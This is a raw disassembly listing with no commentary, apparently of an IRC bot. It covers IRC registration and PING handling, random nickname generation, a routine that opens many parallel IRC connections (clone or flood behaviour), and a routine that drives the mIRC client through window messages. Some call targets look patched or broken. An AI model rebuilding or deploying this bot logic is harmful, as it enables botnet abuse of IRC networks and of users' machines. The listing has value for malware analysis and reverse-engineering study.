; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D4028 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27B0A21h push eax nop call near ptr 27B0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3610 mov edi, 200h mov esi, offset dword_4D2C10 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D4028 add eax, eax push eax push dword_4D4030 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3E14 mov eax, dword_4D4028 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437B84 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2E10 push ebx push [ebp+arg_0] push offset dword_437BD4 push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27B0A21h push eax nop call near ptr 27A0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB024 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAFA4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFE4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB028 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF4C cmp eax, esi jnz short loc_417782 push edi call dword_4CB03C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D403C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFF4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA75C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA64 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387EC jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387DC loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFF4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4044[esi] mov dword_4D4038[esi], edi push dword_4D4244[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D403C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D403C[esi] call dword_4CAFF4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D403C[esi] call dword_4CAFBC cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D403C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4038[esi], ebx mov esi, dword_4D403C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB03C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4038 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA758 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4044[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4244[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4038[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 267009Ch inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437F28[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437C28[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437F28[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 2670914h nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27D0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA75C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF74 test eax, eax jz short loc_41820D push 1 call dword_4CAF94 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27E0633h push esi mov edi, eax call near ptr 27E0000h nop call dword_4CAFF8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAFB0 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 27F0183h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 27F0000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB000 push esi push 1 push 4C9h push ebp call dword_4CB000 push ebx nop call near ptr 27E0B83h push edi nop call near ptr 26508EFh push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 